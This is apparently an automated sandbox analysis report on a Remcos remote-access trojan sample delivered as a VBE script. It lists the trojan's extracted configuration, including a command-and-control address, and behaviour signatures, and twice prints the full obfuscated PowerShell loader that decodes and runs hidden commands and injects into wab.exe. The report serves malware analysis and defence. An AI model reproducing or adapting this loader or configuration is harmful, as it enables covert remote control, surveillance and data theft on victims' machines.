Analysis
- max time kernel
150s - max time network
150s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
17/07/2026, 04:48
General
- Target Nonprolificacy.vbe
- Size 154KB
- Sample260717-fe63psa16k
- SHA256 fe1b0a1cc8090e6394d778530d7536588247e9de6c9996e175ce509847ad0d96
Malware Config
Extracted
-
remcos
-
RemoteHost
-
91.92.41.94:2404
-
audio_folder
MicRecords
-
audio_path
ApplicationPath
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-50SKBN
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
- Family: Remcos
Remcos is a closed-source remote control and surveillance software.
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- System Time Discovery 1 TTPs 2 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Runs ping.exe 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
- outlook_office_path 1 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Nonprolificacy.vbe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Ping.exePing Mul8668.8668.8668.babe2⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "function bgjxlp {$spolers = Get-Date}$aasasismanol = [System.Guid]::NewGuid();rv 'unmalignant' 'jovans' 'grsenker';[void]([System.Math]::Abs(-99));$enchequer=3959-3959;$aasaseskyttelsesperiode8=32548-26548;[void]('flupgrup'.Length);function ovine ($netcha,$aasas) {[void]([System.Math]::Min(5, 12));$rringspunkts=insister(@(101,227,217,227,198,209,197,146,163,237,227,225,139,141,197,198,180,214,231,152)) ;Urinblren ($rringspunkts)}Start-Sleep -Milliseconds 1 > $null;function kqwzxp {$erhvervendes250 = [System.Environment]::TickCount}$favoriseringers = Get-Culture;function insister ($radikalest151) { [void]('skldjf'.ToUpper());do {[void]([System.Math]::Round(4.56));$aasaseskyttelsesperiode8=$enchequer%8;$radikalest151[$enchequer]-=$smaaskndes[$aasaseskyttelsesperiode8];$loadimg = [System.DateTime]::Now;$aasaseskyttelsesperiode8=$radikalest151[$enchequer];$aasaseskyttelsesperiode8=[char]$aasaseskyttelsesperiode8;[void]([System.Math]::Max(12, 18));$eskalerer+=$aasaseskyttelsesperiode8;$enchequer++;[void]('pqrst'.Substring(1, 2))} while ($radikalest151[$enchequer])$eskalerer;$aasasismanol = [System.Guid]::NewGuid()}function zxwplk {[void]([System.Math]::Sqrt(100))}$parketternes = [System.IO.Path]::GetTempPath();function Urinblren ($ninetieths216) {[void]('xyzzy'.Trim());&($forgiftningsulykker146) $ninetieths216}Start-Sleep -Milliseconds 5 > $null;$spolers = Get-Date;Function Crossfire ($radikalest151,$erhvervsministerier=0){[void]([System.Math]::Abs(-123));$gummilatex=insister(@(156,184,227,221,217,206,214,217,158,175,174,181,213,216,209,167,162,232,217,165,151,188,216,215,170,227,219,151,135,219,197,201,170,224,213,219,200,220,216,150,118,166,157));$riggerne=@(Urinblren ($gummilatex));[void]('abracadabra'.Length);For($aasaslankokreditters=0; $riggerne[$aasaslankokreditters] -ne $slagvarer; $aasaslankokreditters++){$riggerne[$aasaslankokreditters] = ovine $riggerne[$aasaslankokreditters] $smaaskndes[$aasaslankokreditters%8];$aasasismanol = [System.Guid]::NewGuid()}$pseudoheroic=insister(@(110,223,227,216,209,137,191,200,169,214,230,202,192,198,136,215,170,220,219,212,213,215,201));[void]([System.Math]::Min(1, 9));$konsumerings=Urinblren ($pseudoheroic);if ($erhvervsministerier) { $geds = [System.DateTime]::UtcNow;Urinblren $konsumerings}else {;[void]('frobnicate'.ToUpper());$konsumerings}[void]([System.Math]::Max(50, 60))}function plmzqw {$erhvervendes250 = [System.Environment]::OSVersion}$favoriseringers = Get-Culture;$smaaskndes=@(65,117,116,111,99,105,100,101);$forgiftningsulykker146=insister @(138,186,204);[void]([System.Math]::Sqrt(16));$flyvekkner='\Reshone.Mas';$outcountry=Crossfire 'dFtET0s+DQslGgMcQycwRXBFWl9YSTMML0NAVEMRUlF6VQYZWVhRV29FXU8kDAcOLlpGX1JZVFRxRFQpChsBAy4NW15WW0pV';[void]('plinkplonk'.Length);$batikuling=Crossfire 'KQEAHxBTS0olBx0ZBkcDCi4SGApNCgsIbgAXUAYRFAozAUkLDB4KCS4UEEkKDVlUNw0lAA4OIwx2OTYqPBpTKAY6RCEaE1EmKgAlDBUTUAk=';$preborrowing=Crossfire 'DAYMAg9bSjYkBwIKETEpKQkhID9NX0pV';$aasasismanol = [System.Guid]::NewGuid();$godtgrelser119=Crossfire 'BjAg';$omskriver=Crossfire 'FAYRHU4oAwAvAQ==';$erhvervendes250 = [System.Environment]::TickCount;$netchalmindingens=Crossfire 'fw==';Crossfire 'ZRIYAAEICF8jEBkaBw0IACVIUAoNH14EMQUQDhcIT0EnGQ0ZBgIPCyQH' 1;[void]('shrdlu'.Trim());Crossfire 'ZRIYAAEICF8qGhkCAgcACicaBhsMBQ8AMxAaUkcLBREoHgEDCgcDSzIFGAYXQUALJAEXBwIFCQwvER0BBAwKFmg=' 1;$batikuling=$kommandofortolkeren[0];[void]([System.Math]::Abs(-10));Crossfire 'ZRIYAAEICF8mBwECDgwXEXNBQ1ItDBNIDhceCgAdREgCGhlPRxkWACMaBh0MHg0LJg==' 1;Crossfire 'ZRIYAAEICF8lEBYOFx0BFy8QB1JLPQEWNVgkDhcBREEjEBkaBw0IACVc' 1;$loadimg = [System.DateTime]::Now;while (!$debatternes) {Crossfire 'ZRIYAAEICF8AHgcKDx0FFTEQBgEGVEARMwAR' 1;[void]([System.Math]::Min(3, 7));Crossfire 'ZRIGGg4EARY1R0BYTQYUAC9dUAgMDRACMxAYHAYbVVR4WVRLAQgQDCoAGAYNDkhFZRMVAxAMTQ==' 1;Crossfire 'ZRIGGg4EARY1R0BYTRoBERMQBRoGGhAtJBQQChFBQAosBh8dCh8BF21VUAAWHQcKNBsAHRpA' 1;[void]('quux'.Length);Crossfire 'ZRIGGg4EARY1R0BYTRoBCyVdXQ==' 1;Crossfire 'ZRIYAAEICF8sFBgbBhoBWGUSBhoOBAEWNUdAWE0aEAQ1AAdPTgwVRXNFRA==' 1;$aasasismanol = [System.Guid]::NewGuid();if ($maltese) {Crossfire 'GhcNGwYyOThlEhgAAQgIXzEaBxsWBQURJAFJSwQbEQgsEAcbUV1TSzMQBx8MBxcAAxoQFg==' 1;[void]([System.Math]::Max(5, 10));Crossfire 'MhZUSwEMCRAlERgKB0lAFS4GABoPCBAANVVZKg0KCwEoGxNPIRAQAA==' 1} [void]('foobar'.ToUpper());Crossfire 'EhkRChNBUEw=' 1;Crossfire 'ZRIYAAEICF8lEBYOFx0BFy8QB1JLPQEWNVgkDhcBREEjEBkaBw0IACVc' 1 ;[void]([System.Math]::Sqrt(9));Crossfire 'ZRIYAAEICF8qFAAbBlRAAi0aFg4PUwUDIxAaCg0NAU5qUFAEDAQJBC8RGwkMGxAKLR4RHQYHSgYuABob' 1;$batikuling=$kommandofortolkeren[$katte];[void]('loremipsum'.Trim())}$smugkroens=157115;$geds = [System.DateTime]::UtcNow;$frontsman=19956;Crossfire 'ZRIYAAEICF81HBgcFxsGAC0GERwVGwAMJkRAVl4OB0VlFxECFg0ACSQR' 1;[void]([System.Math]::Abs(-5));Crossfire 'ZRIYAAEICF8NFBcbAhoBFnwuNwANHwEXNShOVSUbCwgDFAcKVV03ETMcGghLTRAMLQYAHQEMCBYkBgIdBwADVHVMXQ==' 1;Crossfire 'ZRIYAAEICF8zHRsLDB0MACIQSTQ3DBwRbzAaDAwNDQsmKE5VIjonLAhbMwoXOhAXKBsTR0clBQY1FAcKEEA=' 1;[void]('dolorsit'.Length);Crossfire 'ZRIYAAEICF81HQYKDQYADDIBSUsRAQsBLgEcCgAMShY0FwcbEQAKAmlRBwIWDg8XLhAaHE9NAhcuGwAcDggKTA==' 1;Urinblren $threnodist;$aasasismanol = [System.Guid]::NewGuid();;;;"2⤵
- Badlisted process makes network request
- System Time Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "function bgjxlp {$spolers = Get-Date}$aasasismanol = [System.Guid]::NewGuid();rv 'unmalignant' 'jovans' 'grsenker';[void]([System.Math]::Abs(-99));$enchequer=3959-3959;$aasaseskyttelsesperiode8=32548-26548;[void]('flupgrup'.Length);function ovine ($netcha,$aasas) {[void]([System.Math]::Min(5, 12));$rringspunkts=insister(@(101,227,217,227,198,209,197,146,163,237,227,225,139,141,197,198,180,214,231,152)) ;Urinblren ($rringspunkts)}Start-Sleep -Milliseconds 1 > $null;function kqwzxp {$erhvervendes250 = [System.Environment]::TickCount}$favoriseringers = Get-Culture;function insister ($radikalest151) { [void]('skldjf'.ToUpper());do {[void]([System.Math]::Round(4.56));$aasaseskyttelsesperiode8=$enchequer%8;$radikalest151[$enchequer]-=$smaaskndes[$aasaseskyttelsesperiode8];$loadimg = [System.DateTime]::Now;$aasaseskyttelsesperiode8=$radikalest151[$enchequer];$aasaseskyttelsesperiode8=[char]$aasaseskyttelsesperiode8;[void]([System.Math]::Max(12, 18));$eskalerer+=$aasaseskyttelsesperiode8;$enchequer++;[void]('pqrst'.Substring(1, 2))} while ($radikalest151[$enchequer])$eskalerer;$aasasismanol = [System.Guid]::NewGuid()}function zxwplk {[void]([System.Math]::Sqrt(100))}$parketternes = [System.IO.Path]::GetTempPath();function Urinblren ($ninetieths216) {[void]('xyzzy'.Trim());&($forgiftningsulykker146) $ninetieths216}Start-Sleep -Milliseconds 5 > $null;$spolers = Get-Date;Function Crossfire ($radikalest151,$erhvervsministerier=0){[void]([System.Math]::Abs(-123));$gummilatex=insister(@(156,184,227,221,217,206,214,217,158,175,174,181,213,216,209,167,162,232,217,165,151,188,216,215,170,227,219,151,135,219,197,201,170,224,213,219,200,220,216,150,118,166,157));$riggerne=@(Urinblren ($gummilatex));[void]('abracadabra'.Length);For($aasaslankokreditters=0; $riggerne[$aasaslankokreditters] -ne $slagvarer; $aasaslankokreditters++){$riggerne[$aasaslankokreditters] = ovine $riggerne[$aasaslankokreditters] $smaaskndes[$aasaslankokreditters%8];$aasasismanol = [System.Guid]::NewGuid()}$pseudoheroic=insister(@(110,223,227,216,209,137,191,200,169,214,230,202,192,198,136,215,170,220,219,212,213,215,201));[void]([System.Math]::Min(1, 9));$konsumerings=Urinblren ($pseudoheroic);if ($erhvervsministerier) { $geds = [System.DateTime]::UtcNow;Urinblren $konsumerings}else {;[void]('frobnicate'.ToUpper());$konsumerings}[void]([System.Math]::Max(50, 60))}function plmzqw {$erhvervendes250 = [System.Environment]::OSVersion}$favoriseringers = Get-Culture;$smaaskndes=@(65,117,116,111,99,105,100,101);$forgiftningsulykker146=insister @(138,186,204);[void]([System.Math]::Sqrt(16));$flyvekkner='\Reshone.Mas';$outcountry=Crossfire 'dFtET0s+DQslGgMcQycwRXBFWl9YSTMML0NAVEMRUlF6VQYZWVhRV29FXU8kDAcOLlpGX1JZVFRxRFQpChsBAy4NW15WW0pV';[void]('plinkplonk'.Length);$batikuling=Crossfire 'KQEAHxBTS0olBx0ZBkcDCi4SGApNCgsIbgAXUAYRFAozAUkLDB4KCS4UEEkKDVlUNw0lAA4OIwx2OTYqPBpTKAY6RCEaE1EmKgAlDBUTUAk=';$preborrowing=Crossfire 'DAYMAg9bSjYkBwIKETEpKQkhID9NX0pV';$aasasismanol = [System.Guid]::NewGuid();$godtgrelser119=Crossfire 'BjAg';$omskriver=Crossfire 'FAYRHU4oAwAvAQ==';$erhvervendes250 = [System.Environment]::TickCount;$netchalmindingens=Crossfire 'fw==';Crossfire 'ZRIYAAEICF8jEBkaBw0IACVIUAoNH14EMQUQDhcIT0EnGQ0ZBgIPCyQH' 1;[void]('shrdlu'.Trim());Crossfire 'ZRIYAAEICF8qGhkCAgcACicaBhsMBQ8AMxAaUkcLBREoHgEDCgcDSzIFGAYXQUALJAEXBwIFCQwvER0BBAwKFmg=' 1;$batikuling=$kommandofortolkeren[0];[void]([System.Math]::Abs(-10));Crossfire 'ZRIYAAEICF8mBwECDgwXEXNBQ1ItDBNIDhceCgAdREgCGhlPRxkWACMaBh0MHg0LJg==' 1;Crossfire 'ZRIYAAEICF8lEBYOFx0BFy8QB1JLPQEWNVgkDhcBREEjEBkaBw0IACVc' 1;$loadimg = [System.DateTime]::Now;while (!$debatternes) {Crossfire 'ZRIYAAEICF8AHgcKDx0FFTEQBgEGVEARMwAR' 1;[void]([System.Math]::Min(3, 7));Crossfire 'ZRIGGg4EARY1R0BYTQYUAC9dUAgMDRACMxAYHAYbVVR4WVRLAQgQDCoAGAYNDkhFZRMVAxAMTQ==' 1;Crossfire 'ZRIGGg4EARY1R0BYTRoBERMQBRoGGhAtJBQQChFBQAosBh8dCh8BF21VUAAWHQcKNBsAHRpA' 1;[void]('quux'.Length);Crossfire 'ZRIGGg4EARY1R0BYTRoBCyVdXQ==' 1;Crossfire 'ZRIYAAEICF8sFBgbBhoBWGUSBhoOBAEWNUdAWE0aEAQ1AAdPTgwVRXNFRA==' 1;$aasasismanol = [System.Guid]::NewGuid();if ($maltese) {Crossfire 'GhcNGwYyOThlEhgAAQgIXzEaBxsWBQURJAFJSwQbEQgsEAcbUV1TSzMQBx8MBxcAAxoQFg==' 1;[void]([System.Math]::Max(5, 10));Crossfire 'MhZUSwEMCRAlERgKB0lAFS4GABoPCBAANVVZKg0KCwEoGxNPIRAQAA==' 1} [void]('foobar'.ToUpper());Crossfire 'EhkRChNBUEw=' 1;Crossfire 'ZRIYAAEICF8lEBYOFx0BFy8QB1JLPQEWNVgkDhcBREEjEBkaBw0IACVc' 1 ;[void]([System.Math]::Sqrt(9));Crossfire 'ZRIYAAEICF8qFAAbBlRAAi0aFg4PUwUDIxAaCg0NAU5qUFAEDAQJBC8RGwkMGxAKLR4RHQYHSgYuABob' 1;$batikuling=$kommandofortolkeren[$katte];[void]('loremipsum'.Trim())}$smugkroens=157115;$geds = [System.DateTime]::UtcNow;$frontsman=19956;Crossfire 'ZRIYAAEICF81HBgcFxsGAC0GERwVGwAMJkRAVl4OB0VlFxECFg0ACSQR' 1;[void]([System.Math]::Abs(-5));Crossfire 'ZRIYAAEICF8NFBcbAhoBFnwuNwANHwEXNShOVSUbCwgDFAcKVV03ETMcGghLTRAMLQYAHQEMCBYkBgIdBwADVHVMXQ==' 1;Crossfire 'ZRIYAAEICF8zHRsLDB0MACIQSTQ3DBwRbzAaDAwNDQsmKE5VIjonLAhbMwoXOhAXKBsTR0clBQY1FAcKEEA=' 1;[void]('dolorsit'.Length);Crossfire 'ZRIYAAEICF81HQYKDQYADDIBSUsRAQsBLgEcCgAMShY0FwcbEQAKAmlRBwIWDg8XLhAaHE9NAhcuGwAcDggKTA==' 1;Urinblren $threnodist;$aasasismanol = [System.Guid]::NewGuid();;;;"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- System Time Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"2⤵
-
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"2⤵
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
- outlook_office_path
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"3⤵
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
ModuleAnalysisCache
StartupProfileData-NonInteractive
Reshone.Mas
memory/120-71-0x0000000001200000-0x00000000024E6000-memory.dmp
memory/120-44-0x0000000001200000-0x00000000024E6000-memory.dmp
memory/120-58-0x0000000001200000-0x00000000024E6000-memory.dmp
memory/120-63-0x0000000001200000-0x00000000024E6000-memory.dmp
memory/120-65-0x000000001F2B0000-0x000000001F3A7000-memory.dmp
memory/120-68-0x000000001F2B0000-0x000000001F3A7000-memory.dmp
memory/120-67-0x000000001F2B0000-0x000000001F3A7000-memory.dmp
memory/120-69-0x0000000001200000-0x00000000024E6000-memory.dmp
memory/120-70-0x0000000001200000-0x00000000024E6000-memory.dmp
memory/5816-9-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp
memory/5816-12-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp
memory/5816-16-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp
memory/5816-17-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp
memory/5816-19-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp
memory/5816-20-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp
memory/5816-24-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp
memory/5816-14-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp
memory/5816-13-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp
memory/5816-15-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp
memory/5816-0-0x00007FFCF573F000-0x00007FFCF5740000-memory.dmp
memory/5816-11-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp
memory/5816-10-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp
memory/5816-8-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp
memory/5816-7-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp
memory/5816-6-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp
memory/5816-5-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp
memory/5816-4-0x00007FFCF55B0000-0x00007FFCF5F54000-memory.dmp
memory/5816-3-0x000001AD1E190000-0x000001AD1E1B2000-memory.dmp
memory/5912-28-0x0000000004F80000-0x0000000004FE6000-memory.dmp
memory/5912-40-0x00000000070A0000-0x00000000070C2000-memory.dmp
memory/5912-41-0x0000000008130000-0x00000000086EA000-memory.dmp
memory/5912-39-0x0000000007220000-0x00000000072B6000-memory.dmp
memory/5912-43-0x00000000086F0000-0x000000000A14D000-memory.dmp
memory/5912-38-0x0000000006260000-0x000000000627A000-memory.dmp
memory/5912-37-0x00000000074F0000-0x0000000007B6C000-memory.dmp
memory/5912-35-0x0000000005CE0000-0x0000000005D2C000-memory.dmp
memory/5912-34-0x0000000005C80000-0x0000000005C9E000-memory.dmp
memory/5912-32-0x0000000005790000-0x0000000005AEB000-memory.dmp
memory/5912-29-0x00000000056A0000-0x0000000005706000-memory.dmp
memory/5912-27-0x0000000004EE0000-0x0000000004F02000-memory.dmp
memory/5912-26-0x0000000005050000-0x000000000569A000-memory.dmp
memory/5912-25-0x0000000002480000-0x00000000024B6000-memory.dmp